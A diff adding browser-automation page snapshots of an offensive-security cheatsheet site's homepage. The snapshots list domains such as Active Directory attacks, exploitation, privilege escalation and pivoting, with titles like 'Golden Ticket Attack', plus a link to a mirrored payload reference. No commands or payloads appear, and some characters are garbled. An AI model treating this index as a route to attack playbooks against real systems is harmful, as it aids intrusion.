+          - generic [ref=f1e323]: 18 sheets
+        - 'link "PWN 03 Exploitation Gaining a foothold: injection, upload, and shell delivery. 7 sheets" [ref=f1e326] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/exploitation
+          - generic [ref=f1e327]:
+            - generic [ref=f1e328]: PWN
+            - generic [ref=f1e329]: "03"
+          - heading "Exploitation" [level=3] [ref=f1e330]
+          - paragraph [ref=f1e331]: "Gaining a foothold: injection, upload, and shell delivery."
+          - generic [ref=f1e332]: 7 sheets
+        - link "PRIV 04 Privilege Escalation From user to root/SYSTEM on Linux and Windows. 2 sheets" [ref=f1e335] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/privilege-escalation
+          - generic [ref=f1e336]:
+            - generic [ref=f1e337]: PRIV
+            - generic [ref=f1e338]: "04"
+          - heading "Privilege Escalation" [level=3] [ref=f1e339]
+          - paragraph [ref=f1e340]: From user to root/SYSTEM on Linux and Windows.
+          - generic [ref=f1e341]: 2 sheets
+        - link "CRED 05 Password Attacks Cracking, spraying, and credential recovery. 3 sheets" [ref=f1e344] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/password-attacks
+          - generic [ref=f1e345]:
+            - generic [ref=f1e346]: CRED
+            - generic [ref=f1e347]: "05"
+          - heading "Password Attacks" [level=3] [ref=f1e348]
+          - paragraph [ref=f1e349]: Cracking, spraying, and credential recovery.
+          - generic [ref=f1e350]: 3 sheets
+        - link "WEB 06 Web XSS, injection, and web application testing. 9 sheets" [ref=f1e353] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/web
+          - generic [ref=f1e354]:
+            - generic [ref=f1e355]: WEB
+            - generic [ref=f1e356]: "06"
+          - heading "Web" [level=3] [ref=f1e357]
+          - paragraph [ref=f1e358]: XSS, injection, and web application testing.
+          - generic [ref=f1e359]: 9 sheets
+        - link "PIVOT 07 Tunneling & Pivoting Moving through segmented networks and double pivots. 6 sheets" [ref=f1e362] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tunneling-pivoting
+          - generic [ref=f1e363]:
+            - generic [ref=f1e364]: PIVOT
+            - generic [ref=f1e365]: "07"
+          - heading "Tunneling & Pivoting" [level=3] [ref=f1e366]
+          - paragraph [ref=f1e367]: Moving through segmented networks and double pivots.
+          - generic [ref=f1e368]: 6 sheets
+        - link "CRYPTO 08 Cryptography Hashing, encryption, GPG, and key handling. 3 sheets" [ref=f1e371] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/cryptography
+          - generic [ref=f1e372]:
+            - generic [ref=f1e373]: CRYPTO
+            - generic [ref=f1e374]: "08"
+          - heading "Cryptography" [level=3] [ref=f1e375]
+          - paragraph [ref=f1e376]: Hashing, encryption, GPG, and key handling.
+          - generic [ref=f1e377]: 3 sheets
+        - link "DFIR 09 DFIR Forensics, memory, and registry analysis. 4 sheets" [ref=f1e380] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/dfir
+          - generic [ref=f1e381]:
+            - generic [ref=f1e382]: DFIR
+            - generic [ref=f1e383]: "09"
+          - heading "DFIR" [level=3] [ref=f1e384]
+          - paragraph [ref=f1e385]: Forensics, memory, and registry analysis.
+          - generic [ref=f1e386]: 4 sheets
+        - link "TOOL 10 Tools General-purpose offensive tooling and multiplexers. 18 sheets" [ref=f1e389] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tools
+          - generic [ref=f1e390]:
+            - generic [ref=f1e391]: TOOL
+            - generic [ref=f1e392]: "10"
+          - heading "Tools" [level=3] [ref=f1e393]
+          - paragraph [ref=f1e394]: General-purpose offensive tooling and multiplexers.
+          - generic [ref=f1e395]: 18 sheets
+        - link "NIX 11 Linux & IT Shell, filesystem, and everyday IT fundamentals. 9 sheets" [ref=f1e398] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/linux-it
+          - generic [ref=f1e399]:
+            - generic [ref=f1e400]: NIX
+            - generic [ref=f1e401]: "11"
+          - heading "Linux & IT" [level=3] [ref=f1e402]
+          - paragraph [ref=f1e403]: Shell, filesystem, and everyday IT fundamentals.
+          - generic [ref=f1e404]: 9 sheets
+        - link "GIT 12 Git & Workflow Version control and operator workflow. 5 sheets" [ref=f1e407] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/git-workflow
+          - generic [ref=f1e408]:
+            - generic [ref=f1e409]: GIT
+            - generic [ref=f1e410]: "12"
+          - heading "Git & Workflow" [level=3] [ref=f1e411]
+          - paragraph [ref=f1e412]: Version control and operator workflow.
+          - generic [ref=f1e413]: 5 sheets
+    - link [ref=f1e416] [cursor=pointer]:
+      - /url: /daemon-sec-cheatsheet/payloads
+      - generic [ref=f1e417]:
+        - generic [ref=f1e418]:
+          - paragraph [ref=f1e419]: "02 ^: Full mirror Β· MIT"
+          - heading "PayloadsAllTheThings" [level=2] [ref=f1e420]
+          - paragraph [ref=f1e421]:
+            - text: The complete 64-topic, 135-page payload and bypass reference by
+            - strong [ref=f1e422]: swisskyrepo
+            - text: β€” mirrored on-site, fully searchable, every page linked back to source.
+        - generic [ref=f1e423]: Browse payloads
+    - generic [ref=f1e427]:
+      - generic [ref=f1e428]:
+        - generic [ref=f1e429]:
+          - paragraph [ref=f1e430]:
+            - generic [ref=f1e431]: "03"
+            - generic [ref=f1e432]: "^:"
+            - generic [ref=f1e433]: Freshly modernized
+          - heading "Recently updated" [level=2] [ref=f1e435]
+        - link "All tags" [ref=f1e436] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+      - generic [ref=f1e439]:
+        - link "01 ENUM 2.4 - Cheatsheet - Gitleaks 2026-08-10" [ref=f1e440] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-4-cheatsheet-gitleaks
+          - generic [ref=f1e441]:
+            - generic [ref=f1e442]: "01"
+            - generic [ref=f1e443]: ENUM
+            - generic [ref=f1e447]: 2.4 - Cheatsheet - Gitleaks
+            - generic [ref=f1e448]: 2026-08-10
+        - link "02 ENUM 2.5 - Cheatsheet - TruffleHog 2026-08-10" [ref=f1e452] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-5-cheatsheet-trufflehog
+          - generic [ref=f1e453]:
+            - generic [ref=f1e454]: "02"
+            - generic [ref=f1e455]: ENUM
+            - generic [ref=f1e459]: 2.5 - Cheatsheet - TruffleHog
+            - generic [ref=f1e460]: 2026-08-10
+        - link "03 AD Active-Directory_cheat_sheet 2026-08-10" [ref=f1e464] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/active-directory-cheat-sheet
+          - generic [ref=f1e465]:
+            - generic [ref=f1e466]: "03"
+            - generic [ref=f1e467]: AD
+            - generic [ref=f1e471]: Active-Directory_cheat_sheet
+            - generic [ref=f1e472]: 2026-08-10
+        - link "04 ENUM Anonymous Null Testing 2026-08-10" [ref=f1e476] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/anonymous-null-testing
+          - generic [ref=f1e477]:
+            - generic [ref=f1e478]: "04"
+            - generic [ref=f1e479]: ENUM
+            - generic [ref=f1e483]: Anonymous Null Testing
+            - generic [ref=f1e484]: 2026-08-10
+        - 'link "05 AD Attack #1 β€” Password Spraying 2026-08-10" [ref=f1e488] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-1-password-spraying
+          - generic [ref=f1e489]:
+            - generic [ref=f1e490]: "05"
+            - generic [ref=f1e491]: AD
+            - generic [ref=f1e495]: "Attack #1 β€” Password Spraying"
+            - generic [ref=f1e496]: 2026-08-10
+        - 'link "06 AD Attack #10 β€” Credential Hunting in Shares GPP Passwords 2026-08-10" [ref=f1e500] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-10-credential-hunting-in-shares-gpp-passwords
+          - generic [ref=f1e501]:
+            - generic [ref=f1e502]: "06"
+            - generic [ref=f1e503]: AD
+            - generic [ref=f1e507]: "Attack #10 β€” Credential Hunting in Shares GPP Passwords"
+            - generic [ref=f1e508]: 2026-08-10
+        - 'link "07 AD Attack #11 β€” Golden Ticket Attack 2026-08-10" [ref=f1e512] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-11-golden-ticket-attack
+          - generic [ref=f1e513]:
+            - generic [ref=f1e514]: "07"
+            - generic [ref=f1e515]: AD
+            - generic [ref=f1e519]: "Attack #11 β€” Golden Ticket Attack"
+            - generic [ref=f1e520]: 2026-08-10
+        - 'link "08 AD Attack #12 β€” Silver Ticket Attack 2026-08-10" [ref=f1e524] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-12-silver-ticket-attack
+          - generic [ref=f1e525]:
+            - generic [ref=f1e526]: "08"
+            - generic [ref=f1e527]: AD
+            - generic [ref=f1e531]: "Attack #12 β€” Silver Ticket Attack"
+            - generic [ref=f1e532]: 2026-08-10
+  - contentinfo [ref=f1e536]:
+    - generic [ref=f1e537]:
+      - generic [ref=f1e538]:
+        - link "DÆMON // SEC" [ref=f1e539] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f1e540]: //
+          - text: SEC
+        - paragraph [ref=f1e541]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f1e542]:
+        - link "daemon-404.github.io β†—" [ref=f1e543] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f1e544] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f1e545]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f1e546] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f1e547] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f1e548]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f1e549]: RosΓ© Pine Β· Astro Β· Pagefind
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-04-21-553Z.yml b/.playwright-mcp/page-2026-08-10T08-04-21-553Z.yml
@@ -0,0 +1,418 @@
+- generic [active] [ref=f2e1]:
+  - banner [ref=f2e2]:
+    - generic [ref=f2e3]:
+      - link "DÆMON//SEC home" [ref=f2e4] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f2e5]: //
+        - text: SEC
+        - generic [ref=f2e6]: _
+      - navigation "Primary" [ref=f2e7]:
+        - link "01 Vault" [ref=f2e8] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f2e9]: "01"
+          - generic [ref=f2e10]: Vault
+        - link "02 Payloads" [ref=f2e11] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f2e12]: "02"
+          - generic [ref=f2e13]: Payloads
+        - link "03 Tags" [ref=f2e14] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f2e15]: "03"
+          - generic [ref=f2e16]: Tags
+        - link "04 Credits" [ref=f2e17] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f2e18]: "04"
+          - generic [ref=f2e19]: Credits
+      - generic [ref=f2e20]:
+        - button "Search cheatsheets" [ref=f2e21] [cursor=pointer]:
+          - generic [ref=f2e24]: Search
+          - generic [ref=f2e25]: /
+        - button "Toggle theme" [ref=f2e26] [cursor=pointer]
+        - link "DÆMON main site" [ref=f2e31] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f2e34] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f2e37]:
+    - generic [ref=f2e39]:
+      - generic [ref=f2e40]:
+        - heading "D Γ† M O N" [level=1] [ref=f2e42]:
+          - generic [ref=f2e43]: D
+          - generic [ref=f2e44]: Γ†
+          - generic [ref=f2e45]: M
+          - generic [ref=f2e46]: O
+          - generic [ref=f2e47]: "N"
+        - paragraph [ref=f2e49]:
+          - generic [ref=f2e50]: The cheatsheet vault
+      - generic [ref=f2e52]:
+        - generic [ref=f2e53]:
+          - generic [ref=f2e54]: Vault / 2026
+          - heading "Zero fluff. Copy-ready." [level=2] [ref=f2e55]
+          - paragraph [ref=f2e56]: 214 hand-picked cheatsheets across 12 domains β€” Active Directory, enumeration, exploitation, priv-esc, web, DFIR β€” stripped of vault-specific syntax and refreshed for current tool flags. Plus the full PayloadsAllTheThings mirror, searchable offline.
+          - generic [ref=f2e57]:
+            - button "Search the vault" [ref=f2e58] [cursor=pointer]
+            - link "Payloads" [ref=f2e62] [cursor=pointer]:
+              - /url: /daemon-sec-cheatsheet/payloads
+        - generic [ref=f2e66]:
+          - generic [ref=f2e67]:
+            - generic [ref=f2e68]:
+              - generic [ref=f2e69]: daemon@sec
+              - generic [ref=f2e70]: ~
+              - generic [ref=f2e71]: "%"
+              - generic [ref=f2e72]: whoami --vault
+            - generic [ref=f2e74]:
+              - term [ref=f2e75]: scope
+              - definition [ref=f2e76]: Offensive security Β· red team Β· DFIR
+              - term [ref=f2e77]: format
+              - definition [ref=f2e78]: Copy-ready commands, current tool flags
+              - term [ref=f2e79]: search
+              - definition [ref=f2e80]: Pagefind Β· offline Β· zero tracking
+              - term [ref=f2e81]: license
+              - definition [ref=f2e82]: MIT Β· payloads mirrored from swisskyrepo
+          - generic [ref=f2e83]:
+            - generic [ref=f2e84]:
+              - term [ref=f2e85]: Curated cheatsheets
+              - definition [ref=f2e86]:
+                - text: "05"
+                - generic [ref=f2e87]: Curatedcheatsheets
+            - generic [ref=f2e88]:
+              - term [ref=f2e89]: Operator domains
+              - definition [ref=f2e90]:
+                - text: "00"
+                - generic [ref=f2e91]: Operatordomains
+            - generic [ref=f2e92]:
+              - term [ref=f2e93]: Mirrored payload pages
+              - definition [ref=f2e94]:
+                - text: "03"
+                - generic [ref=f2e95]: Mirroredpayload pages
+    - region "Domains" [ref=f2e96]:
+      - generic [ref=f2e97]: "^: Index"
+      - generic [ref=f2e101]:
+        - generic [ref=f2e102]:
+          - generic [ref=f2e103]:
+            - generic [ref=f2e104]: "01"
+            - generic [ref=f2e105]: AD
+            - generic [ref=f2e109]: Active Directory
+            - generic [ref=f2e110]: 130 sheets
+          - generic [ref=f2e111]:
+            - generic [ref=f2e112]: "02"
+            - generic [ref=f2e113]: ENUM
+            - generic [ref=f2e117]: Enumeration
+            - generic [ref=f2e118]: 18 sheets
+          - generic [ref=f2e119]:
+            - generic [ref=f2e120]: "03"
+            - generic [ref=f2e121]: PWN
+            - generic [ref=f2e125]: Exploitation
+            - generic [ref=f2e126]: 7 sheets
+          - generic [ref=f2e127]:
+            - generic [ref=f2e128]: "04"
+            - generic [ref=f2e129]: PRIV
+            - generic [ref=f2e133]: Privilege Escalation
+            - generic [ref=f2e134]: 2 sheets
+          - generic [ref=f2e135]:
+            - generic [ref=f2e136]: "05"
+            - generic [ref=f2e137]: CRED
+            - generic [ref=f2e141]: Password Attacks
+            - generic [ref=f2e142]: 3 sheets
+          - generic [ref=f2e143]:
+            - generic [ref=f2e144]: "06"
+            - generic [ref=f2e145]: WEB
+            - generic [ref=f2e149]: Web
+            - generic [ref=f2e150]: 9 sheets
+          - generic [ref=f2e151]:
+            - generic [ref=f2e152]: "07"
+            - generic [ref=f2e153]: PIVOT
+            - generic [ref=f2e157]: Tunneling & Pivoting
+            - generic [ref=f2e158]: 6 sheets
+          - generic [ref=f2e159]:
+            - generic [ref=f2e160]: "08"
+            - generic [ref=f2e161]: CRYPTO
+            - generic [ref=f2e165]: Cryptography
+            - generic [ref=f2e166]: 3 sheets
+          - generic [ref=f2e167]:
+            - generic [ref=f2e168]: "09"
+            - generic [ref=f2e169]: DFIR
+            - generic [ref=f2e173]: DFIR
+            - generic [ref=f2e174]: 4 sheets
+          - generic [ref=f2e175]:
+            - generic [ref=f2e176]: "10"
+            - generic [ref=f2e177]: TOOL
+            - generic [ref=f2e181]: Tools
+            - generic [ref=f2e182]: 18 sheets
+          - generic [ref=f2e183]:
+            - generic [ref=f2e184]: "11"
+            - generic [ref=f2e185]: NIX
+            - generic [ref=f2e189]: Linux & IT
+            - generic [ref=f2e190]: 9 sheets
+          - generic [ref=f2e191]:
+            - generic [ref=f2e192]: "12"
+            - generic [ref=f2e193]: GIT
+            - generic [ref=f2e197]: Git & Workflow
+            - generic [ref=f2e198]: 5 sheets
+        - generic [ref=f2e199]:
+          - generic [ref=f2e200]:
+            - generic [ref=f2e201]: "01"
+            - generic [ref=f2e202]: AD
+            - generic [ref=f2e206]: Active Directory
+            - generic [ref=f2e207]: 130 sheets
+          - generic [ref=f2e208]:
+            - generic [ref=f2e209]: "02"
+            - generic [ref=f2e210]: ENUM
+            - generic [ref=f2e214]: Enumeration
+            - generic [ref=f2e215]: 18 sheets
+          - generic [ref=f2e216]:
+            - generic [ref=f2e217]: "03"
+            - generic [ref=f2e218]: PWN
+            - generic [ref=f2e222]: Exploitation
+            - generic [ref=f2e223]: 7 sheets
+          - generic [ref=f2e224]:
+            - generic [ref=f2e225]: "04"
+            - generic [ref=f2e226]: PRIV
+            - generic [ref=f2e230]: Privilege Escalation
+            - generic [ref=f2e231]: 2 sheets
+          - generic [ref=f2e232]:
+            - generic [ref=f2e233]: "05"
+            - generic [ref=f2e234]: CRED
+            - generic [ref=f2e238]: Password Attacks
+            - generic [ref=f2e239]: 3 sheets
+          - generic [ref=f2e240]:
+            - generic [ref=f2e241]: "06"
+            - generic [ref=f2e242]: WEB
+            - generic [ref=f2e246]: Web
+            - generic [ref=f2e247]: 9 sheets
+          - generic [ref=f2e248]:
+            - generic [ref=f2e249]: "07"
+            - generic [ref=f2e250]: PIVOT
+            - generic [ref=f2e254]: Tunneling & Pivoting
+            - generic [ref=f2e255]: 6 sheets
+          - generic [ref=f2e256]:
+            - generic [ref=f2e257]: "08"
+            - generic [ref=f2e258]: CRYPTO
+            - generic [ref=f2e262]: Cryptography
+            - generic [ref=f2e263]: 3 sheets
+          - generic [ref=f2e264]:
+            - generic [ref=f2e265]: "09"
+            - generic [ref=f2e266]: DFIR
+            - generic [ref=f2e270]: DFIR
+            - generic [ref=f2e271]: 4 sheets
+          - generic [ref=f2e272]:
+            - generic [ref=f2e273]: "10"
+            - generic [ref=f2e274]: TOOL
+            - generic [ref=f2e278]: Tools
+            - generic [ref=f2e279]: 18 sheets
+          - generic [ref=f2e280]:
+            - generic [ref=f2e281]: "11"
+            - generic [ref=f2e282]: NIX
+            - generic [ref=f2e286]: Linux & IT
+            - generic [ref=f2e287]: 9 sheets
+          - generic [ref=f2e288]:
+            - generic [ref=f2e289]: "12"
+            - generic [ref=f2e290]: GIT
+            - generic [ref=f2e294]: Git & Workflow
+            - generic [ref=f2e295]: 5 sheets
+      - generic [ref=f2e296]: 12 domains
+    - generic [ref=f2e298]:
+      - generic [ref=f2e300]:
+        - paragraph [ref=f2e301]:
+          - generic [ref=f2e302]: "01"
+          - generic [ref=f2e303]: "^:"
+          - generic [ref=f2e304]: 12 domains
+        - heading "Pick your vector" [level=2] [ref=f2e306]
+      - generic [ref=f2e307]:
+        - link "AD 01 Active Directory Kerberos, ADCS, delegation, and domain takeover paths. 130 sheets" [ref=f2e308] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/active-directory
+          - generic [ref=f2e309]:
+            - generic [ref=f2e310]: AD
+            - generic [ref=f2e311]: "01"
+          - heading "Active Directory" [level=3] [ref=f2e312]
+          - paragraph [ref=f2e313]: Kerberos, ADCS, delegation, and domain takeover paths.
+          - generic [ref=f2e314]: 130 sheets
+        - link "ENUM 02 Enumeration Port, service, web, and host discovery β€” mapping the attack surface. 18 sheets" [ref=f2e317] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/enumeration
+          - generic [ref=f2e318]:
+            - generic [ref=f2e319]: ENUM
+            - generic [ref=f2e320]: "02"
+          - heading "Enumeration" [level=3] [ref=f2e321]
+          - paragraph [ref=f2e322]: Port, service, web, and host discovery β€” mapping the attack surface.
+          - generic [ref=f2e323]: 18 sheets
+        - 'link "PWN 03 Exploitation Gaining a foothold: injection, upload, and shell delivery. 7 sheets" [ref=f2e326] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/exploitation
+          - generic [ref=f2e327]:
+            - generic [ref=f2e328]: PWN
+            - generic [ref=f2e329]: "03"
+          - heading "Exploitation" [level=3] [ref=f2e330]
+          - paragraph [ref=f2e331]: "Gaining a foothold: injection, upload, and shell delivery."
+          - generic [ref=f2e332]: 7 sheets
+        - link "PRIV 04 Privilege Escalation From user to root/SYSTEM on Linux and Windows. 2 sheets" [ref=f2e335] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/privilege-escalation
+          - generic [ref=f2e336]:
+            - generic [ref=f2e337]: PRIV
+            - generic [ref=f2e338]: "04"
+          - heading "Privilege Escalation" [level=3] [ref=f2e339]
+          - paragraph [ref=f2e340]: From user to root/SYSTEM on Linux and Windows.
+          - generic [ref=f2e341]: 2 sheets
+        - link "CRED 05 Password Attacks Cracking, spraying, and credential recovery. 3 sheets" [ref=f2e344] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/password-attacks
+          - generic [ref=f2e345]:
+            - generic [ref=f2e346]: CRED
+            - generic [ref=f2e347]: "05"
+          - heading "Password Attacks" [level=3] [ref=f2e348]
+          - paragraph [ref=f2e349]: Cracking, spraying, and credential recovery.
+          - generic [ref=f2e350]: 3 sheets
+        - link "WEB 06 Web XSS, injection, and web application testing. 9 sheets" [ref=f2e353] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/web
+          - generic [ref=f2e354]:
+            - generic [ref=f2e355]: WEB
+            - generic [ref=f2e356]: "06"
+          - heading "Web" [level=3] [ref=f2e357]
+          - paragraph [ref=f2e358]: XSS, injection, and web application testing.
+          - generic [ref=f2e359]: 9 sheets
+        - link "PIVOT 07 Tunneling & Pivoting Moving through segmented networks and double pivots. 6 sheets" [ref=f2e362] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tunneling-pivoting
+          - generic [ref=f2e363]:
+            - generic [ref=f2e364]: PIVOT
+            - generic [ref=f2e365]: "07"
+          - heading "Tunneling & Pivoting" [level=3] [ref=f2e366]
+          - paragraph [ref=f2e367]: Moving through segmented networks and double pivots.
+          - generic [ref=f2e368]: 6 sheets
+        - link "CRYPTO 08 Cryptography Hashing, encryption, GPG, and key handling. 3 sheets" [ref=f2e371] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/cryptography
+          - generic [ref=f2e372]:
+            - generic [ref=f2e373]: CRYPTO
+            - generic [ref=f2e374]: "08"
+          - heading "Cryptography" [level=3] [ref=f2e375]
+          - paragraph [ref=f2e376]: Hashing, encryption, GPG, and key handling.
+          - generic [ref=f2e377]: 3 sheets
+        - link "DFIR 09 DFIR Forensics, memory, and registry analysis. 4 sheets" [ref=f2e380] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/dfir
+          - generic [ref=f2e381]:
+            - generic [ref=f2e382]: DFIR
+            - generic [ref=f2e383]: "09"
+          - heading "DFIR" [level=3] [ref=f2e384]
+          - paragraph [ref=f2e385]: Forensics, memory, and registry analysis.
+          - generic [ref=f2e386]: 4 sheets
+        - link "TOOL 10 Tools General-purpose offensive tooling and multiplexers. 18 sheets" [ref=f2e389] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tools
+          - generic [ref=f2e390]:
+            - generic [ref=f2e391]: TOOL
+            - generic [ref=f2e392]: "10"
+          - heading "Tools" [level=3] [ref=f2e393]
+          - paragraph [ref=f2e394]: General-purpose offensive tooling and multiplexers.
+          - generic [ref=f2e395]: 18 sheets
+        - link "NIX 11 Linux & IT Shell, filesystem, and everyday IT fundamentals. 9 sheets" [ref=f2e398] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/linux-it
+          - generic [ref=f2e399]:
+            - generic [ref=f2e400]: NIX
+            - generic [ref=f2e401]: "11"
+          - heading "Linux & IT" [level=3] [ref=f2e402]
+          - paragraph [ref=f2e403]: Shell, filesystem, and everyday IT fundamentals.
+          - generic [ref=f2e404]: 9 sheets
+        - link "GIT 12 Git & Workflow Version control and operator workflow. 5 sheets" [ref=f2e407] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/git-workflow
+          - generic [ref=f2e408]:
+            - generic [ref=f2e409]: GIT
+            - generic [ref=f2e410]: "12"
+          - heading "Git & Workflow" [level=3] [ref=f2e411]
+          - paragraph [ref=f2e412]: Version control and operator workflow.
+          - generic [ref=f2e413]: 5 sheets
+    - link [ref=f2e416] [cursor=pointer]:
+      - /url: /daemon-sec-cheatsheet/payloads
+      - generic [ref=f2e417]:
+        - generic [ref=f2e418]:
+          - paragraph [ref=f2e419]: "02 ^: Full mirror Β· MIT"
+          - heading "PayloadsAllTheThings" [level=2] [ref=f2e420]
+          - paragraph [ref=f2e421]:
+            - text: The complete 64-topic, 135-page payload and bypass reference by
+            - strong [ref=f2e422]: swisskyrepo
+            - text: β€” mirrored on-site, fully searchable, every page linked back to source.
+        - generic [ref=f2e423]: Browse payloads
+    - generic [ref=f2e427]:
+      - generic [ref=f2e428]:
+        - generic [ref=f2e429]:
+          - paragraph [ref=f2e430]:
+            - generic [ref=f2e431]: "03"
+            - generic [ref=f2e432]: "^:"
+            - generic [ref=f2e433]: Freshly modernized
+          - heading "Recently updated" [level=2] [ref=f2e435]
+        - link "All tags" [ref=f2e436] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+      - generic [ref=f2e439]:
+        - link "01 ENUM 2.4 - Cheatsheet - Gitleaks 2026-08-10" [ref=f2e440] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-4-cheatsheet-gitleaks
+          - generic [ref=f2e441]:
+            - generic [ref=f2e442]: "01"
+            - generic [ref=f2e443]: ENUM
+            - generic [ref=f2e447]: 2.4 - Cheatsheet - Gitleaks
+            - generic [ref=f2e448]: 2026-08-10
+        - link "02 ENUM 2.5 - Cheatsheet - TruffleHog 2026-08-10" [ref=f2e452] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-5-cheatsheet-trufflehog
+          - generic [ref=f2e453]:
+            - generic [ref=f2e454]: "02"
+            - generic [ref=f2e455]: ENUM
+            - generic [ref=f2e459]: 2.5 - Cheatsheet - TruffleHog
+            - generic [ref=f2e460]: 2026-08-10
+        - link "03 AD Active-Directory_cheat_sheet 2026-08-10" [ref=f2e464] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/active-directory-cheat-sheet
+          - generic [ref=f2e465]:
+            - generic [ref=f2e466]: "03"
+            - generic [ref=f2e467]: AD
+            - generic [ref=f2e471]: Active-Directory_cheat_sheet
+            - generic [ref=f2e472]: 2026-08-10
+        - link "04 ENUM Anonymous Null Testing 2026-08-10" [ref=f2e476] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/anonymous-null-testing
+          - generic [ref=f2e477]:
+            - generic [ref=f2e478]: "04"
+            - generic [ref=f2e479]: ENUM
+            - generic [ref=f2e483]: Anonymous Null Testing
+            - generic [ref=f2e484]: 2026-08-10
+        - 'link "05 AD Attack #1 β€” Password Spraying 2026-08-10" [ref=f2e488] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-1-password-spraying
+          - generic [ref=f2e489]:
+            - generic [ref=f2e490]: "05"
+            - generic [ref=f2e491]: AD
+            - generic [ref=f2e495]: "Attack #1 β€” Password Spraying"
+            - generic [ref=f2e496]: 2026-08-10
+        - 'link "06 AD Attack #10 β€” Credential Hunting in Shares GPP Passwords 2026-08-10" [ref=f2e500] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-10-credential-hunting-in-shares-gpp-passwords
+          - generic [ref=f2e501]:
+            - generic [ref=f2e502]: "06"
+            - generic [ref=f2e503]: AD
+            - generic [ref=f2e507]: "Attack #10 β€” Credential Hunting in Shares GPP Passwords"
+            - generic [ref=f2e508]: 2026-08-10
+        - 'link "07 AD Attack #11 β€” Golden Ticket Attack 2026-08-10" [ref=f2e512] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-11-golden-ticket-attack
+          - generic [ref=f2e513]:
+            - generic [ref=f2e514]: "07"
+            - generic [ref=f2e515]: AD
+            - generic [ref=f2e519]: "Attack #11 β€” Golden Ticket Attack"
+            - generic [ref=f2e520]: 2026-08-10
+        - 'link "08 AD Attack #12 β€” Silver Ticket Attack 2026-08-10" [ref=f2e524] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-12-silver-ticket-attack
+          - generic [ref=f2e525]:
+            - generic [ref=f2e526]: "08"
+            - generic [ref=f2e527]: AD
+            - generic [ref=f2e531]: "Attack #12 β€” Silver Ticket Attack"
+            - generic [ref=f2e532]: 2026-08-10
+  - contentinfo [ref=f2e536]:
+    - generic [ref=f2e537]:
+      - generic [ref=f2e538]:
+        - link "DÆMON // SEC" [ref=f2e539] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f2e540]: //
+          - text: SEC
+        - paragraph [ref=f2e541]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f2e542]:
+        - link "daemon-404.github.io β†—" [ref=f2e543] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
